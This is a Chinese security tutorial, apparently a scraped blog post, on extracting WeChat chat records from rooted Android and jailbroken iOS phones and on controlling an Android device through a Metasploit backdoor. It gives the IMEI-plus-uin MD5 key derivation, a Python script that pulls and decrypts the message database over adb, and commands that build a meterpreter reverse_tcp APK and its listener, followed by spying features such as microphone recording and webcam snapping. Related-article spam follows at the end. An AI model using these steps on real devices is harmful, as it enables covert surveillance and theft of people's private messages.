在这篇文章中我们将讨论如何获取安卓、苹果设备中的微信聊天记录,并演示如何利用后门通过Metasploit对安卓设备进行控制。文章比较基础、可动手性强,有设备的童鞋不妨边阅读文章边操作,希望能激发大家对移动终端的安全兴趣。


“如何获取android、iPhone手机上的微信聊天记录? ”

0×00 条件:
安卓设备已获取root权限,安装SSHDroid(通过ssh、ftp连接手机)

Apple设备越狱,安装OpenSSH插件

0×01 安卓:
很多安卓手机的用户都会遇到这么一个尴尬的问题:手机用久了就不知不觉变得慢了,最后慢到什么都迟钝了。为了解决这个问题和大多数人一样我选择了root设备。

安卓设备在root以后可以对系统文件存在最高级别的操作权限。比如,你在安卓设备上安装了微信,那么root以后通过adb shell你能对微信App的文件配置进行读取修改等操作。

Android应用程序的数据库文件通常会保存在 /data/data/packagename/database 文件夹下,微信App文件存放路径为:/data/data/com.tencent.mm/MicroMsg

首先通过FTP把文件down到本地:

以34位编码(类似于乱码)命名的文件夹中可找到微信账号的加密数据库文件 :EnMicroMsg.db

用数据库管理器打开:提示加密或者不是数据库文件

Android应用程序的数据库文件通常会保存在 /data/data/packagename/database 文件夹下,微信App文件存放路径为:/data/data/com.tencent.mm/MicroMsg

首先通过FTP把文件down到本地:

以34位编码(类似于乱码)命名的文件夹中可找到微信账号的加密数据库文件 :EnMicroMsg.db

用数据库管理器打开:提示加密或者不是数据库文件

这里可以用Windows环境下的SQLite Database Browser浏览器打开:

提示输入密码:

<int name="default_uin" value="http://www.freebuf.com/articles/terminal/146****21" />


通过上述两种方法找到的uin值是相同的。

安卓拨号界面输入*#06#获得手机IMEI码:354**********85

SIM值+uin值组合即为14621354******85

md5: http://www.spriteking.com/cmd5/ 左侧加密

到32位小写md5值:a1edf9f5********************b5e5 取其前七位:a1edf9f输入到sql浏览器中。

linux、Mac用户也可以在终端执行:

echo -n "146****21354**********85" | md5sum | cut -c -7


成功打开微信的数据库文件:


Wechat2txt.py:gist.github.com

import os
import sys
import re
import hashlib
import csv
import time
import locale
import getoptdef get_db():os.popen('adb root').close()text = os.popen('adb shell ls /data/data/com.tencent.mm/MicroMsg/*/EnMicroMsg.db').read()return text.splitlines()[- 1] if text else ''def get_default_uin():os.popen('adb root').close()text = os.popen('adb shell cat /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml').read()default_uin = re.findall('name="default_uin" value="http://www.freebuf.com/articles/terminal/([0-9]+)"', text)return default_uin[0] if default_uin else 0def get_device_ID():text = os.popen('adb shell dumpsys iphonesubinfo').read()device_ID = re.findall('Device ID = ([0-9]+)', text)return device_ID[0] if device_ID else 0def get_md5():default_uin = get_default_uin()device_ID = get_device_ID()if default_uin and device_ID:return hashlib.md5(device_ID + default_uin).hexdigest()[0: 7]return ''def parse_msgcsv(msgcsv):locale.setlocale(locale.LC_ALL, '')if hasattr(msgcsv, 'title'):msgcsv = [ooOoo0O + '\n' for ooOoo0O in msgcsv.splitlines()]passOooO0 = csv.reader(msgcsv)OooO0.next()for ooOoo0O in OooO0:try:II11iiii1Ii, OO0o, Ooo, O0o0Oo, Oo00OOOOO, O0O, O00o0OO, name, iIi1ii1I1, o0, I11II1i, IIIII = ooOoo0O[: 12]passexcept:continueooooooO0oo = 'me' if (Oo00OOOOO == '1') else nameIIiiiiiiIi1I1 = time.localtime(int(O00o0OO) / 1000)I1IIIii = time.strftime("%Y-%m-%d %a %H:%M:%S", IIiiiiiiIi1I1)yield [name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0]passpassdef get_names(chat):names = {}for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat:names[name] = 1passreturn names.keys()def oo(chat, name=''):text = []name = name.lower()for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat:iIi1ii1I1 = iIi1ii1I1.replace('\n', '\n  ')o0 = ('\t' + o0) if o0 else ''if not name:text.append('%s: %s %s: %s %s' %(name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0))passelif name.lower() == name:text.append('%s %s: %s %s' %(I1IIIii, ooooooO0oo, iIi1ii1I1, o0))passpassreturn '\n'.join(text) + '\n'def IIIii1II1II(dbn, key=''):child_stdin, child_stdout = os.popen2(['sqlcipher', dbn])if key:child_stdin.write('PRAGMA key=%s;\n' % ` key `)child_stdin.write('pragma cipher_use_hmac=off;\n')passchild_stdin.write('.tables\n')child_stdin.close()return child_stdout.read().split()def decrypt(dbn, key='', table='message'):table = table or 'message'child_stdin, child_stdout = os.popen2(['sqlcipher', dbn])child_stdin.write('.header on\n')child_stdin.write('.mode csv\n')if key:child_stdin.write('PRAGMA key=%s;\n' % ` key `)child_stdin.write('pragma cipher_use_hmac=off;\n')passchild_stdin.write('select * from %s;\n' % ` table `)child_stdin.close()return child_stdout.read()def wechat2txt(names=[]):in_file = 'EnMicroMsg.db'out_file = 'message.csv'db = get_db()md5 = get_md5()os.popen('adb wait-for-device')os.popen('adb pull %s %s' % (db, in_file)).close()msgcsv = decrypt(in_file, md5)if msgcsv.find('\n') < 0:return 1file(out_file, 'w').write(msgcsv)msgs = list(parse_msgcsv(msgcsv))if not msgs:return 1if not names:names = get_names(msgs)passfor name in names:filename = 'message.%s.txt' % nametext = oo(msgs, name)if len(text) > 4:file(filename, 'w').write(text)passpasspasshelp_msg = '''Usage: wechat2txt.py [OPTIONS] [NAME]...OPTIONS:-h        display this help and exit
'''def main():try:opts, args = getopt.getopt(sys.argv[1:], 'h')except getopt.error, e:print help_msgreturn 1for opt, arg in opts:if opt == '-h':print help_msgreturn 1passnames = argstext = wechat2txt(names)return not textif __name__ == "__main__":sys.exit(main())

0×02 苹果:
Apple设备越狱后可通过Cydia安装各种小插件,通常情况我会安装OpenSSH来使自己能通过终端连接到Apple设备中,并使用sftp传输文件:

iOS中,应用文件夹以hash值命名,要导出微信、QQ的聊天记录其难度相对安卓来说稍微复杂很多。

在实际操作中我们可以通过巧用Linux命令(find、grep、xargs)来绕过这些坑。

find /var/mobile/Containers/Data -name "MM.sqlite" mkdir /cache
find /var/mobile/Containers/Data -name "MM.sqlite" |xargs -I {} dirname {} | xargs -I {} cp -r  {}/../../ /cache

在越狱iOS窃取隐私可参考:帮女神修手机的意外发现:隐匿在iOS文件系统中的隐私信息 一文

0×03 在安卓终端植入后门
3.1 实验环境

Kali Linux(Hack):192.168.31.213

Android(靶机):192.168.31.118

3.2生成后门文件:

cd Desktop
msfpayload android/meterpreter/reverse_tcp LHOST=192.168.31.213 LPORT=443 R >0xroot.apk


3.3 运行metasploit控制台

msfconsoleuse exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.31.213
set LPORT 443
run


3.4 安装&运行后门App

后门能进行什么操作?我们来看看usage:

meterpreter > helpCore commands
=============Command                   Description-------                   -----------?                         Help menubackground                Backgrounds the current sessionbgkill                    Kills a background meterpreter scriptbglist                    Lists running background scriptsbgrun                     Executes a meterpreter script as a background threadchannel                   Displays information about active channelsclose                     Closes a channeldisable_unicode_encoding  Disables encoding of unicode stringsenable_unicode_encoding   Enables encoding of unicode stringsexit                      Terminate the meterpreter sessionhelp                      Help menuinfo                      Displays information about a Post moduleinteract                  Interacts with a channelirb                       Drop into irb scripting modeload                      Load one or more meterpreter extensionsquit                      Terminate the meterpreter sessionread                      Reads data from a channelresource                  Run the commands stored in a filerun                       Executes a meterpreter script or Post moduleuse                       Deprecated alias for 'load'write                     Writes data to a channelStdapi: File system Commands
============================Command       Description-------       -----------cat           Read the contents of a file to the screencd            Change directorydownload      Download a file or directoryedit          Edit a filegetlwd        Print local working directorygetwd         Print working directorylcd           Change local working directorylpwd          Print local working directoryls            List filesmkdir         Make directorypwd           Print working directoryrm            Delete the specified filermdir         Remove directorysearch        Search for filesupload        Upload a file or directoryStdapi: Networking Commands
===========================Command       Description-------       -----------ifconfig      Display interfacesipconfig      Display interfacesportfwd       Forward a local port to a remote serviceroute         View and modify the routing tableStdapi: System Commands
=======================Command       Description-------       -----------execute       Execute a commandgetuid        Get the user that the server is running asps            List running processesshell         Drop into a system command shellsysinfo       Gets information about the remote system, such as OSStdapi: Webcam Commands
=======================Command       Description-------       -----------record_mic    Record audio from the default microphone for X secondswebcam_list   List webcamswebcam_snap   Take a snapshot from the specified webcam

record_mic 通过手机麦克风进行窃听、录音;
webcam_list 列出安卓设备的所有摄像头;
webcam_snap 通过摄像头进行偷拍…
等等

0×04 演示视频
0×05 APK后门分析:
把apk放到apk分析工具(apkStudio、Bytecodeviewer)进行解包,我们来看看后门App的源码:

(apkStudio)

在smali/com/metasploit/stage/MainActivity.smali中我们可以找到后门服务器的ip端口配置:

(apkStudio)

(Bytecodeviewer)

0×06 预防&安全建议
安卓:从可信来源下载应用程序,避免感染恶意程序;在移动充电桩充电前及时关闭USB调试。

苹果:越狱后及时修改root密码,避免使用默认密码、弱口令。

0×07 文中工具下载地址:
SQLite Database Browser:http://pan.baidu.com/s/1nuWlDgd

SSHDroid:http://pan.baidu.com/s/1b6PBK6

0×08 参考&感谢
How To Decrypt WeChat EnMicroMsg.db Database?

Android微信数据导出

微信聊天记录分析

A look at WeChat security

https://gist.github.com/scturtle/7248017

帮女神修手机的意外发现:隐匿在iOS文件系统中的隐私信息

如何获取安卓iOS上的微信聊天记录、通过Metasploit控制安卓相关推荐

  1. 如何在 iPhone 上恢复微信聊天记录!

    误删了微信聊天记录,如何在 iPhone 上恢复微信聊天记录 如今,微信拥有庞大的用户群,很多人用它来沟通.支付.点餐等与我们日常生活相关的事情,我们的生活已经离不开它,它功能强大,使用方便,给我们带 ...

  2. 怎么彻底删除手机上的微信聊天记录?百看不如一试的删除方法!

    怎么彻底删除手机上的微信聊天记录?随着时代变化个人隐私往往很容易被泄露.导致很多人对自己的信息安全都比较注重,保护意识也增强许多,特别是一些很私密且重要的数据.例如我们很多人在用的微信,里面不仅包含了 ...

  3. 怎么恢复安卓/苹果手机删除的微信聊天记录?

    转自:无极灰色项目领域 随着iOS系统及Android系统的升级,现在要恢复删掉的微信聊天记录很难. 微信聊天记录是保存在sqlite格式的数据库文件中,这种格式的文件有一个特点(这里指的是老版本sq ...

  4. qrcode获取图片链接在安卓/ios上的问题

    最近项目使用qrcode生成二维码,制作图片预览时出现了一个问题,在ios端使用 document.querySelector('img') 时没有问题,可以获取到图片及src,但是在Android端 ...

  5. vue 移动端校验(是否移动设备,安卓/IOS,是否微信浏览器)

    /*** 检验是否是移动设备* @returns {boolean}*/ isMobile() {let system = {win: false,mac: false,xll: false,ipad ...

  6. 微信聊天记录删除怎么恢复?iOS安卓数据迁移

    因为手机系统的不同,当我们更换手机的时候,怎么样在Android和iOS之间进行数据迁移,也是一个让众多用户头疼的事情.因为数据互传的一个繁琐情况,现在进行数据的迁移,大多都是借助云端备份.第三方软件 ...

  7. 微信双开是定时炸弹?关于非越狱iOS上微信分身高危插件ImgNaix的分析

    作者:蒸米@阿里移动安全 序言 微信作为手机上的第一大应用,有着上亿的用户.并且很多人都不只拥有一个微信帐号,有的微信账号是用于商业的,有的是用于私人的.可惜的是官方版的微信并不支持多开的功能,并且频 ...

  8. 微信双开还是微信定时炸弹?- 关于非越狱iOS上微信分身高危插件ImgNaix的分析...

    蒸米 · 2016/04/28 11:01 [email protected] 0x00 序 微信作为手机上的第一大应用,有着上亿的用户.并且很多人都不只拥有一个微信帐号,有的微信账号是用于商业的,有 ...

  9. 微信双开是定时炸弹?关于非越狱iOS上微信分身高危插件ImgNaix的分析 1

    序言 微信作为手机上的第一大应用,有着上亿的用户.并且很多人都不只拥有一个微信帐号,有的微信账号是用于商业的,有的是用于私人的.可惜的是官方版的微信并不支持多开的功能,并且频繁更换微信账号也是一件非常 ...

最新文章

  1. 这些Python基础练习题你会几个?
  2. ThinkPHP框架介绍
  3. php route取值,route命令详解
  4. 添加sudo权限脚本
  5. jqury-zoom的一个例子
  6. 肝!一个非常好用的 Python 魔法库
  7. JAVA实现链表面试题
  8. iOS学习之iOS沙盒(sandbox)机制和文件操作之NSFileManager
  9. Android学习笔记:利用httpclient和AsyncTask 发起网络http post操作
  10. 电动车爬坡时究竟应该用最快档还是用最慢档?
  11. Python(六)基于 TCP/UDP 协议通信的简单套接字编程
  12. java安卓开发改变图片大小_Android代码中动态设置图片的大小(自动缩放),位置...
  13. ExtJs自学教程(1):一切从API开始
  14. 两种有效提高win10电脑开机速度的方法
  15. 三哥新发现了比金星还厉害的飞行物
  16. UE4 关闭屏幕显示信息响应
  17. 方差分析ANOVA:理论、推导与R语言实现
  18. win7计算机怎么优化驱动器,win7如何优化加速的12条技巧
  19. CSS3学习笔记-05-盒模型详解
  20. 采用Tagged Pointer的字符串

热门文章

  1. 怎么获取公众号二维码?
  2. VideoShow -视频编辑 v8.8.4rc (更新版)
  3. Unit 1: Packet Sniffing 1.1 Packet Sniffing Packet Sniffing Demos 1
  4. iOS 应用Archiving问题
  5. Win11写字板怎么打开?Win11开启写字板的方法
  6. clion 产生sigabrt_OpenNERO Ubuntu:进程结束,退出代码134(被信号6:SIGABRT中断)
  7. 基于小程序同城交易系统设计 同城小程序校园二手交易小程序毕业设计课题选题毕设毕业设计论文
  8. 怎么在电脑上创建一个虚拟机
  9. Java:三大特性之继承性
  10. 之前从未接触过编程,想学Python怎么开始?(史上最全学习路线图)